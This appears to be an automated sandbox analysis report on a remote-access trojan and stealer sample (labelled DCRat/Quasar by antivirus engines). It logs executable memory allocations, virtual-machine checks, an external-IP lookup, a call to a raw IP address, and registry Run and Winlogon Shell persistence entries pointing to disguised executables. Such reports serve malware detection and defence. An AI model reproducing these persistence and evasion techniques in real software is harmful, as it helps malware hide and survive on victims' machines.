NtProtectVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef1324000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b7a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c2c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c56000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b7b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bcc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b9d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b7c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b8a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b72000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91d01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91bcd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 20, 2021, 9:13 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91cb7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (2 events)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW Aug. 20, 2021, 9:13 a.m.	total_number_of_free_bytes: 13723942912 free_bytes_available: 13723942912 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0
GetDiskFreeSpaceExW Aug. 20, 2021, 9:08 a.m.	total_number_of_free_bytes: 13720506368 free_bytes_available: 13720506368 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

Looks up the external IP address (1 event)

domain

ip-api.com

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Aug. 20, 2021, 9:14 a.m.	show_type: 0 filepath_r: C:\ProgramData\Favorites\lsm.exe parameters: filepath: C:\ProgramData\Favorites\lsm.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 20, 2021, 9:08 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 20, 2021, 9:13 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Aug. 20, 2021, 9:08 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Communicates with host for which no DNS query was performed (1 event)

host

80.87.199.216

Installs itself for autorun at Windows startup (12 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Windows\System32\sensrsvc\dwm.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\dwm	reg_value	"C:\Windows\System32\sensrsvc\dwm.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwm	reg_value	"C:\Windows\System32\sensrsvc\dwm.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Windows\System32\sensrsvc\dwm.exe", "C:\ProgramData\Favorites\lsm.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\lsm	reg_value	"C:\ProgramData\Favorites\lsm.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lsm	reg_value	"C:\ProgramData\Favorites\lsm.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Windows\System32\sensrsvc\dwm.exe", "C:\ProgramData\Favorites\lsm.exe", "C:\util\ProcessMonitor\taskhost.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\taskhost	reg_value	"C:\util\ProcessMonitor\taskhost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhost	reg_value	"C:\util\ProcessMonitor\taskhost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Windows\System32\sensrsvc\dwm.exe", "C:\ProgramData\Favorites\lsm.exe", "C:\util\ProcessMonitor\taskhost.exe", "C:\Windows\System32\fdWSD\csrss.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\csrss	reg_value	"C:\Windows\System32\fdWSD\csrss.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss	reg_value	"C:\Windows\System32\fdWSD\csrss.exe"

File has been identified by 38 AntiVirus engines on VirusTotal as malicious (38 events)

Lionic	Trojan.MSIL.Stealer.l!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.MSIL.Basic.8.Gen
FireEye	Generic.mg.a2226ebbc6b9170a
CAT-QuickHeal	Trojan.YakbeexMSIL.ZZ4
McAfee	GenericRXPF-LQ!A2226EBBC6B9
Malwarebytes	Backdoor.DCRat
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Spyware ( 0058121e1 )
Alibaba	Trojan:MSIL/TrojanX.4026b718
CrowdStrike	win/malicious_confidence_90% (W)
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Spy.Agent.AES
APEX	Malicious
Paloalto	generic.ml
ClamAV	Win.Packed.Uztuby-9853721-0
Kaspersky	HEUR:Trojan-Spy.MSIL.Stealer.gen
BitDefender	Trojan.MSIL.Basic.8.Gen
Avast	Win32:KeyloggerX-gen [Trj]
Ad-Aware	Trojan.MSIL.Basic.8.Gen
Emsisoft	Trojan-Spy.Agent (A)
DrWeb	BackDoor.QuasarNET.3
McAfee-GW-Edition	GenericRXPF-LQ!A2226EBBC6B9
Sophos	Mal/SpyNoon-A
Ikarus	Trojan.MSIL.Spy
Microsoft	Trojan:Win32/Sabsik.FL.B!ml
ZoneAlarm	UDS:DangerousObject.Multi.Generic
GData	Trojan.MSIL.Basic.8.Gen
AhnLab-V3	Trojan/Win.Spy.C4559049
BitDefenderTheta	Gen:NN.ZemsilF.34088.Um0@aS95tiki
ALYac	Trojan.MSIL.Basic.8.Gen
MAX	malware (ai score=100)
Rising	Backdoor.DCRat!1.D886 (CLASSIC)
SentinelOne	Static AI - Malicious PE
Fortinet	MSIL/Agent.DEK!tr
AVG	Win32:KeyloggerX-gen [Trj]
Cybereason	malicious.bc6b91
Qihoo-360	HEUR/QVM03.0.5E86.Malware.Gen

SavesrefruntimedlldriverMonitorDll.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All